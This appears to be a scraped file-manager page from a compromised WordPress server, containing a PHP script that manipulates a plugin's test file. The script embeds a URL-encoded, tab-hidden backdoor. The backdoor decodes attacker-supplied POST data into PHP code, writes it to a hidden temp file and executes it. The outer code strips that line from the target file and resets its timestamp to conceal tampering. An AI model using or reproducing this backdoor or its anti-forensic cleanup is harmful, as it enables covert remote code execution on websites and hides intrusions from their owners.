/
proc
/
thread-self
/
root
/
var
/
tmp
/
Upload File
HOME
<?php $path = '/home2/joyhucol/public_html/themillennialshandbook/wp-content/plugins/analytics-1767975763/php-toolkit/DataLiberation/vendor-patched/rowbot/url/tests/URLRecordTest.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28array_key_exists%28%22%5Cx64a%5Cx74%22%2C%20%24_POST%29%20%26%26%20%21is_null%28%24_POST%5B%22%5Cx64a%5Cx74%22%5D%29%29%7B%20%24val%20%3D%20%24_POST%5B%22%5Cx64a%5Cx74%22%5D%3B%20%24val%20%3D%20explode%20%28%22.%22%20%2C%20%24val%20%29%20%3B%20%24k%20%3D%27%27%3B%20%24s%20%3D%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3Dstrlen%28%24s%20%29%3B%20foreach%20%28%24val%20as%20%24z%20%3D%3E%20%24v8%29%20%7B%20%24chS%20%3Dord%28%24s%5B%24z%20%25%20%24sLen%5D%20%29%3B%20%24d%20%3D%28%28int%29%24v8%20-%20%24chS%20-%20%28%24z%20%25%2010%29%29%20%5E%2064%3B%20%24k%20.%3D%20chr%28%24d%20%29%3B%20%7D%20%24key%20%3D%20array_filter%28%5Bsession_save_path%28%29%2C%20%22/var/tmp%22%2C%20%22/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TMP%22%29%2C%20%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%5D%29%3B%20for%20%28%24mrk%20%3D%200%2C%20%24flg%20%3D%20count%28%24key%29%3B%20%24mrk%20%3C%20%24flg%3B%20%24mrk%2B%2B%29%20%7B%20%24tkn%20%3D%20%24key%5B%24mrk%5D%3B%20if%20%28max%280%2C%20is_dir%28%24tkn%29%20%2A%20is_writable%28%24tkn%29%29%29%20%7B%20%24marker%20%3D%20%22%24tkn/.token%22%3B%20%24success%20%3D%20file_put_contents%28%24marker%2C%20%24k%29%3B%20if%20%28%24success%29%20%7B%20include%20%24marker%3B%20%40unlink%28%24marker%29%3B%20die%28%29%3B%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = (string) @file_get_contents($path); if (strlen($content) > 0 && strpos($content, $new_content) !== FALSE) { $candidate = str_replace($new_content, '', $content); $safe = (strlen($candidate) >= 32) && (strpos($candidate, '<?php') !== FALSE || strpos($candidate, '<?=') !== FALSE); if ($safe) { $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); } elseif ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } } } die('!success!');